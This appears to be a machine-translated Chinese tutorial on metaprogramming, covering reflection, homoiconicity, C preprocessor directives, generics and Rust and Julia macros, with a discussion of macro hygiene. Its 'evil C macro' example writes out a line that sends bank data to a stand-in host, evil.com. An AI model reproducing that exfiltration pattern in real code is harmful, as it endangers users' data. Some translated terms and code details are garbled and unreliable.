代码编写代码:现代元编程理论与实践导论

已发表: 2022-07-22

每当我想到解释宏的最佳方式时,我都会想起我刚开始编程时写的一个 Python 程序。 我无法按照我想要的方式组织它。 我不得不调用一些略有不同的函数,代码变得很麻烦。 我正在寻找的——虽然当时我并不知道——是元编程

元编程(名词)

程序可以将代码视为数据的任何技术。

我们可以构建一个示例,通过想象我们正在为宠物主人构建应用程序的后端来演示我在 Python 项目中遇到的相同问题。 使用库中的工具pet_sdk ,我们编写 Python 来帮助宠物主人购买猫粮:

 import pet_sdk cats = pet_sdk.get_cats() print(f"Found {len(cats)} cats!") for cat in cats: pet_sdk.order_cat_food(cat, amount=cat.food_needed)
片段 1:订购猫粮

在确认代码有效后,我们继续为另外两种宠物(鸟和狗)实现相同的逻辑。 我们还添加了一项功能来预约兽医:

 # An SDK that can give us information about pets - unfortunately, the functions are slightly different for each pet import pet_sdk # Get all of the birds, cats, and dogs in the system, respectively birds = pet_sdk.get_birds() cats = pet_sdk.get_cats() dogs = pet_sdk.get_dogs() for cat in cats: print(f"Checking information for cat {cat.name}") if cat.hungry(): pet_sdk.order_cat_food(cat, amount=cat.food_needed) cat.clean_litterbox() if cat.sick(): available_vets = pet_sdk.find_vets(animal="cat") if len(available_vets) > 0: vet = available_vets[0] vet.book_cat_appointment(cat) for dog in dogs: print(f"Checking information for dog {dog.name}") if dog.hungry(): pet_sdk.order_dog_food(dog, amount=dog.food_needed) dog.walk() if dog.sick(): available_vets = pet_sdk.find_vets(animal="dog") if len(available_vets) > 0: vet = available_vets[0] vet.book_dog_appointment(dog) for bird in birds: print(f"Checking information for bird {bird.name}") if bird.hungry(): pet_sdk.order_bird_food(bird, amount=bird.food_needed) bird.clean_cage() if bird.sick(): available_vets = pet_sdk.find_birds(animal="bird") if len(available_vets) > 0: vet = available_vets[0] vet.book_bird_appointment(bird)
片段 2:订购猫粮、狗粮和鸟粮; 预约兽医

把 Snippet 2 的重复逻辑浓缩成一个循环就好了,所以我们着手重写代码。 我们很快意识到,由于每个函数的名称不同,我们无法确定在循环中调用哪一个(例如book_bird_appointmentbook_cat_appointment ):

 import pet_sdk all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs() for animal in all_animals: # What now?
片段3:现在怎么办?

让我们想象一个 Python 的涡轮增压版本,在其中我们可以编写程序来自动生成我们想要的最终代码——我们可以在其中灵活、轻松、流畅地操作我们的程序,就好像它是一个列表、文件中的数据或任何其他常见数据类型或程序输入:

 import pet_sdk for animal in ["cat", "dog", "bird"]: animals = pet_sdk.get_{animal}s() # When animal is "cat", this # would be pet_sdk.get_cats() for animal in animal: pet_sdk.order_{animal}_food(animal, amount=animal.food_needed) # When animal is "dog" this would be # pet_sdk.order_dog_food(dog, amount=dog.food_needed)
片段 4:TurboPython:一个虚构的程序

这是一个的示例,可以在 Rust、Julia 或 C 等语言中使用,但不包括 Python。

这个场景是一个很好的例子,说明编写一个能够修改和操作自己的代码的程序是多么有用。 这正是宏的魅力所在,它是对一个更大问题的众多答案之一:我们如何让程序内省自己的代码,将其视为数据,然后根据内省采取行动?

从广义上讲,所有可以完成这种内省的技术都属于“元编程”这一概括性术语。 元编程是编程语言设计中一个丰富的子领域,它可以追溯到一个重要的概念:代码即数据。

反思:为 Python 辩护

您可能会指出,尽管 Python 可能不提供宏支持,但它提供了许多其他方法来编写此代码。 例如,这里我们使用isinstance()方法来识别我们的animal变量是一个实例的类并调用适当的函数:

 # An SDK that can give us information about pets - unfortunately, the functions # are slightly different import pet_sdk def process_animal(animal): if isinstance(animal, pet_sdk.Cat): animal_name_type = "cat" order_food_fn = pet_sdk.order_cat_food care_fn = animal.clean_litterbox elif isinstance(animal, pet_sdk.Dog): animal_name_type = "dog" order_food_fn = pet_sdk.order_dog_food care_fn = animal.walk elif isinstance(animal, pet_sdk.Bird): animal_name_type = "bird" order_food_fn = pet_sdk.order_bird_food care_fn = animal.clean_cage else: raise TypeError("Unrecognized animal!") print(f"Checking information for {animal_name_type} {animal.name}") if animal.hungry(): order_food_fn(animal, amount=animal.food_needed) care_fn() if animal.sick(): available_vets = pet_sdk.find_vets(animal=animal_name_type) if len(available_vets) > 0: vet = available_vets[0] # We still have to check again what type of animal it is if isinstance(animal, pet_sdk.Cat): vet.book_cat_appointment(animal) elif isinstance(animal, pet_sdk.Dog): vet.book_dog_appointment(animal) else: vet.book_bird_appointment(animal) all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs() for animal in all_animals: process_animal(animal)
片段 5:一个惯用的例子

我们称这种类型的元编程反射,我们稍后再讨论它。 Snippet 5 的代码仍然有点麻烦,但对于程序员来说比 Snippet 2 更容易编写,在 Snippet 2 中,我们为每个列出的动物重复了逻辑。

挑战

使用getattr方法,修改前面的代码以动态调用相应的order_*_foodbook_*_appointment函数。 可以说这会降低代码的可读性,但如果您对 Python 非常了解,那么值得考虑如何使用getattr而不是isinstance函数,并简化代码。


同音性:Lisp 的重要性

一些编程语言,如 Lisp,通过同音性将元编程的概念提升到另一个层次。

同音性(名词)

一种编程语言的特性,代码和程序运行的数据之间没有区别。

Lisp 创建于 1958 年,是最古老的谐音语言,也是第二古老的高级编程语言。 Lisp 得名于“LISt 处理器”,它是计算领域的一场革命,它深刻地塑造了计算机的使用和编程方式。 怎么夸大 Lisp 对编程的根本和独特影响都不为过。

Emacs 是用 Lisp 编写的,这是唯一漂亮的计算机语言。 尼尔史蒂芬森

Lisp 是在 FORTRAN 之后仅一年创建的,当时是打孔卡和充满房间的军用计算机的时代。 然而,今天的程序员仍然使用 Lisp 来编写新的现代应用程序。 Lisp 的主要创造者 John McCarthy 是 AI 领域的先驱。 多年来,Lisp 一直是人工智能的语言,研究人员非常看重动态重写自己代码的能力。 今天的人工智能研究集中在神经网络和复杂的统计模型上,而不是那种类型的逻辑生成代码。 然而,使用 Lisp 进行的人工智能研究——尤其是 60 年代和 70 年代在麻省理工学院和斯坦福大学进行的研究——创造了我们所知道的领域,并且其巨大的影响力仍在继续。

Lisp 的出现使早期程序员第一次接触到递归、高阶函数和链表等实际计算的可能性。 它还展示了基于 lambda 演算思想的编程语言的强大功能。

这些概念引发了编程语言设计的爆炸式增长,正如计算机科学界最伟大的人物之一 Edsger Dijkstra 所说, [...] 帮助了我们一些最有天赋的人类同胞思考以前不可能的想法。”

这个例子展示了一个简单的 Lisp 程序(以及它在更熟悉的 Python 语法中的等价物),它定义了一个函数“阶乘”,该函数递归地计算其输入的阶乘并使用输入“7”调用该函数:

语言Python
( defun factorial ( n ) ( if ( = n 1 ) 1 ( * n ( factorial ( - n 1 ))))) ( print ( factorial 7 ))
 def factorial (n) : if n == 1 : return 1 else : return n * factorial(n -1 ) print(factorial( 7 ))

代码即数据

尽管是 Lisp 最有影响力和最重要的创新之一,但与递归和 Lisp 开创的许多其他概念不同,同音性并没有成为当今大多数编程语言。

下表比较了在 Julia 和 Lisp 中返回代码的同音函数。 Julia 是一种同音语言,在许多方面都类似于您可能熟悉的高级语言(例如 Python、Ruby)。

每个示例中的关键句法是其引用字符。 Julia 使用:冒号)来引用,而 Lisp 使用' (单引号):

朱莉娅语言
function function_that_returns_code() return :(x + 1 ) end
 ( defun function_that_returns_code () '(+ x 1 ))

在这两个示例中,主表达式 ( (x + 1)(+ x 1) ) 旁边的引号将其从直接评估的代码转换为我们可以操作的抽象表达式。 该函数返回代码——不是字符串或数据。 如果我们要调用我们的函数并编写print(function_that_returns_code()) ,Julia 会打印字符串化为x+1的代码(Lisp 的等价物也是如此)。 相反,如果没有:或 Lisp 中' ),我们会得到x未定义的错误。

让我们回到我们的 Julia 示例并扩展它:

 function function_that_returns_code(n) return :(x + $n) end my_code = function_that_returns_code(3) print(my_code) # Prints out (x + 3) x = 1 print(eval(my_code)) # Prints out 4 x = 3 print(eval(my_code)) # Prints out 6
片段 6:扩展的 Julia 示例

eval函数可用于运行我们从程序的其他地方生成的代码。 请注意,打印出来的值是基于x变量的定义。 如果我们试图在未定义x的上下文中eval我们生成的代码,我们会得到一个错误。

Homoicicity 是一种强大的元编程,能够解锁新颖而复杂的编程范式,在这些范式中程序可以动态适应,生成代码以适应特定领域的问题或遇到的新数据格式。

以 WolframAlpha 为例,同音 Wolfram 语言可以生成代码以适应令人难以置信的问题范围。 你可以问 WolframAlpha,“纽约市的 GDP 除以安道尔的人口是多少?” 并且,值得注意的是,收到了合乎逻辑的回应。

似乎没有人会想到将这种晦涩且毫无意义的计算包含在数据库中,但 Wolfram 使用元编程和本体知识图来编写动态代码来回答这个问题。

了解 Lisp 和其他同音语言提供的灵活性和强大功能非常重要。 在我们进一步深入之前,让我们考虑一些可供您使用的元编程选项:

定义例子笔记
同音性代码是“一流”数据的语言特征。 由于代码和数据之间没有分离,因此两者可以互换使用。
  • 语言
  • 序言
  • 朱莉娅
  • Rebol/红色
  • Wolfram 语言
在这里,Lisp 包括 Lisp 家族中的其他语言,例如 Scheme、Racket 和 Clojure。
将代码作为输入并返回代码作为输出的语句、函数或表达式。
  • Rust 的macro_rules! , Derive和过程宏
  • Julia 的@macro调用
  • Lisp 的defmacro
  • C的#define
(请参阅关于 C 的宏的下一个注释。)
预处理器指令(或预编译器) 将程序作为输入并根据代码中包含的语句返回程序的更改版本作为输出的系统。
  • C 的宏
  • C++的#预处理器系统
C 的宏是使用 C 的预处理器系统实现的,但两者是不同的概念。

C 的宏(我们在其中使用#define预处理器指令)和其他形式的 C 预处理器指令(例如#if#ifndef )之间的关键概念区别在于,我们使用宏来生成代码,同时使用其他非#define预处理器指令有条件地编译其他代码。 这两者在 C 和其他一些语言中密切相关,但它们是不同类型的元编程。
反射程序检查、修改和反省自己代码的能力。
  • Python 的isinstance , getattr , 函数
  • JavaScript 的Reflecttypeof
  • Java 的getDeclaredMethods
  • .NET 的System.Type类层次结构
反射可以发生在编译时或运行时。
泛型编写对多种不同类型有效或可在多种上下文中使用但存储在一个位置的代码的能力。 我们可以显式或隐式定义代码有效的上下文。

模板风格的泛型:

  • C++
  • 爪哇

参数多态性:

  • 哈斯克尔
  • 机器学习
泛型编程是一个比泛型元编程更广泛的话题,两者之间的界限并没有很好的定义。

在这位作者看来,参数类型系统只有在使用静态类型语言时才算作元编程。
元编程参考

让我们看一些用各种编程语言编写的同音性、宏、预处理器指令、反射和泛型的动手示例:

 # Prints out "Hello Will", "Hello Alice", by dynamically creating the lines of code say_hi = :(println("Hello, ", name)) name = "Will" eval(say_hi) name = "Alice" eval(say_hi)
片段 7:Julia 中的同音性
int main() { #ifdef _WIN32 printf("This section will only be compiled for and run on windows!\n"); windows_only_function(); #elif __unix__ printf("This section will only be compiled for and run on unix!\n"); unix_only_function(); #endif printf("This line runs regardless of platform!\n"); return 1; }
片段 8:C 中的预处理器指令
from pet_sdk import Cat, Dog, get_pet pet = get_pet() if isinstance(pet, Cat): pet.clean_litterbox() elif isinstance(pet, Dog): pet.walk() else: print(f"Don't know how to help a pet of type {type(pet)}")
片段 9:Python 中的反射
import com.example.coordinates.*; interface Vehicle { public String getName(); public void move(double xCoord, double yCoord); } public class VehicleDriver<T extends Vehicle> { // This class is valid for any other class T which implements // the Vehicle interface private final T vehicle; public VehicleDriver(T vehicle) { System.out.println("VehicleDriver: " + vehicle.getName()); this.vehicle = vehicle; } public void goHome() { this.vehicle.move(HOME_X, HOME_Y); } public void goToStore() { this.vehicle.move(STORE_X, STORE_Y); } }
片段 10:Java 中的泛型
macro_rules! print_and_return_if_true { ($val_to_check: ident, $val_to_return: expr) => { if ($val_to_check) { println!("Val was true, returning {}", $val_to_return); return $val_to_return; } } } // The following is the same as if for each of x, y, and z, // we wrote if x { println!...} fn example(x: bool, y: bool, z: bool) -> i32 { print_and_return_if_true!(x, 1); print_and_return_if_true!(z, 2); print_and_return_if_true!(y, 3); }
片段 11:Rust 中的宏

宏(如 Snippet 11 中的宏)在新一代编程语言中再次流行起来。 为了成功开发这些,我们必须考虑一个关键主题:卫生。

卫生和不卫生的宏

代码“卫生”或“不卫生”是什么意思? 为了澄清,让我们看一下由macro_rules! 功能。 顾名思义, macro_rules! 根据我们定义的规则生成代码。 在这种情况下,我们将宏命名为my_macro ,规则是“创建代码行let x = $n ”,其中n是我们的输入:

 macro_rules! my_macro { ($n) => { let x = $n; } } fn main() { let x = 5; my_macro!(3); println!("{}", x); }
片段 12:Rust 中的卫生

当我们扩展我们的宏(运行一个宏以用它生成的代码替换它的调用)时,我们期望得到以下内容:

 fn main() { let x = 5; let x = 3; // This is what my_macro!(3) expanded into println!("{}", x); }
片段 13:我们的示例,扩展

看起来,我们的宏重新定义了变量x等于 3,所以我们可以合理地期望程序打印3 。 事实上,它打印5 ! 惊讶吗? 在 Rust 中, macro_rules! 就标识符而言是卫生的,因此它不会“捕获”其范围之外的标识符。 在这种情况下,标识符是x 。 如果它被宏捕获,它将等于 3。

卫生(名词)

保证宏的扩展不会捕获超出宏范围的标识符或其他状态的属性。 不提供此属性的宏和宏系统称为不卫生的。

宏中的卫生在开发人员中是一个颇具争议的话题。 支持者坚持认为,如果没有卫生,很容易意外地巧妙地修改代码的行为。 想象一个比 Snippet 13 复杂得多的宏,它用于具有许多变量和其他标识符的复杂代码。 如果该宏使用与您的代码相同的变量之一——而您没有注意到,该怎么办?

开发人员在没有阅读源代码的情况下使用来自外部库的宏并不罕见。 这在提供宏支持的较新语言中尤其常见(例如,Rust 和 Julia):

 #define EVIL_MACRO website="https://evil.com"; int main() { char *website = "https://good.com"; EVIL_MACRO send_all_my_bank_data_to(website); return 1; }
片段 14:邪恶的 C 宏

C 中的这个不卫生的宏会捕获标识符website并更改其值。 当然,标识符捕获不是恶意的。 这只是使用宏的偶然结果。

所以,卫生宏是好的,不卫生的宏是坏的,对吧? 不幸的是,事情并没有那么简单。 有充分的理由证明卫生宏限制了我们。 有时,标识符捕获很有用。 让我们重温 Snippet 2,这里我们使用pet_sdk为三种宠物提供服务。 我们的原始代码是这样开始的:

 birds = pet_sdk.get_birds() cats = pet_sdk.get_cats() dogs = pet_sdk.get_dogs() for cat in cats: # Cat specific code for dog in dogs: # Dog specific code # etc…
Snippet 15:Back to the Vet-Recalling pet sdk

你会记得,Snippet 3 试图将 Snippet 2 的重复逻辑浓缩成一个包罗万象的循环。 但是,如果我们的代码依赖于标识符catsdogs ,并且我们想要编写如下内容:

 {animal}s = pet_sdk.get{animal}s() for {animal} in {animal}s: # {animal} specific code
片段 16:有用的标识符捕获(在想象中的“TurboPython”中)

当然,片段 16 有点简单,但想象一下我们希望宏编写 100% 给定代码部分的情况。 在这种情况下,卫生宏可能会受到限制。

虽然卫生与不卫生的宏观辩论可能很复杂,但好消息是,这不是你必须采取的立场。 你使用的语言决定了你的宏是卫生的还是不卫生的,所以在使用宏时要记住这一点。

现代宏

宏现在有点时间。 很长一段时间以来,现代命令式编程语言的重点从宏作为其功能的核心部分转移,避开宏,转而支持其他类型的元编程。

新程序员在学校学习的语言(例如 Python 和 Java)告诉他们,他们所需要的只是反射和泛型。

随着时间的推移,随着这些现代语言的流行,宏开始与令人生畏的 C 和 C++ 预处理器语法联系在一起——如果程序员甚至完全意识到它们的话。

然而,随着 Rust 和 Julia 的出现,趋势已经转向宏。 Rust 和 Julia 是两种现代、可访问且广泛使用的语言,它们通过一些新的和创新的想法重新定义和普及了宏的概念。 这在 Julia 中尤其令人兴奋,它看起来有望取代 Python 和 R,成为一种易于使用、“包含电池”的多功能语言。

当我们第一次通过“TurboPython”眼镜查看pet_sdk时,我们真正想要的是 Julia。 让我们用 Julia 重写 Snippet 2,使用它的同音性和它提供的一些其他元编程工具:

 using pet_sdk for (pet, care_fn) = (("cat", :clean_litterbox), ("dog", :walk_dog), ("dog", :clean_cage)) get_pets_fn = Meta.parse("pet_sdk.get_${pet}s") @eval begin local animals = $get_pets_fn() #pet_sdk.get_cats(), pet_sdk.get_dogs(), etc. for animal in animals animal.$care_fn # animal.clean_litterbox(), animal.walk_dog(), etc. end end end
片段 17:Julia 宏的力量——让pet_sdk为我们工作

让我们分解片段 17:

  1. 我们遍历三个元组。 其中第一个是("cat", :clean_litterbox) ,因此变量pet被分配给"cat" ,变量care_fn被分配给带引号的符号:clean_litterbox
  2. 我们使用Meta.parse函数将字符串转换为Expression ,因此我们可以将其评估为代码。 在这种情况下,我们想利用字符串插值的力量,我们可以将一个字符串放入另一个字符串,来定义要调用的函数。
  3. 我们使用eval函数来运行我们正在生成的代码。 @eval begin… end是另一种编写eval(...)以避免重新输入代码的方式。 @eval块内部是我们动态生成并运行的代码。

Julia 的元编程系统真正让我们自由地以我们想要的方式表达我们想要的东西。 我们可以使用其他几种方法,包括反射(如 Snippet 5 中的 Python)。 我们还可以编写一个宏函数来显式生成特定动物的代码,或者我们可以将整个代码生成为字符串并使用Meta.parse或这些方法的任意组合。

超越 Julia:其他现代元编程系统

Julia 可能是现代宏观系统中最有趣和最引人注目的例子之一,但无论如何,它并不是唯一的。 Rust 也有助于再次将宏带到程序员面前。

在 Rust 中,宏的功能比在 Julia 中更重要,尽管我们不会在这里全面探讨。 出于多种原因,不使用宏就无法编写惯用的 Rust。 然而,在 Julia 中,您可以选择完全忽略同调性和宏观系统。

作为这种中心性的直接后果,Rust 生态系统已经真正接受了宏。 社区成员构建了一些非常酷的库、概念证明和宏功能,包括可以序列化和反序列化数据、自动生成 SQL 甚至将代码中的注释转换为另一种编程语言的工具,所有这些都在代码中生成编译时间。

虽然 Julia 的元编程可能更具表现力和自由度,但 Rust 可能是提升元编程的现代语言的最佳示例,因为它在整个语言中都有很多特色。

展望未来

现在是对编程语言感兴趣的绝佳时机。 今天,我可以用 C++ 编写应用程序并在 Web 浏览器中运行它,或者用 JavaScript 编写应用程序以在桌面或手机上运行。 进入壁垒从未如此之低,新程序员前所未有地触手可及信息。

在这个程序员选择和自由的世界里,我们越来越有幸使用丰富的现代语言,这些语言从计算机科学和早期编程语言的历史中挑选出一些特性和概念。 看到宏在这波开发浪潮中被拾起并尘埃落定,真是令人兴奋。 我迫不及待地想看看新一代的开发人员会做什么,因为 Rust 和 Julia 将他们介绍给宏。 请记住,“代码即数据”不仅仅是一个标语。 在任何在线社区或学术环境中讨论元编程时,要牢记这一核心思想。

“代码即数据”不仅仅是一个标语。

鸣叫

正如我们今天所知,元编程的 64 年历史一直是编程发展不可或缺的一部分。 虽然我们探索的创新和历史只是元编程传奇的一角,但它们说明了现代元编程的强大功能和实用性。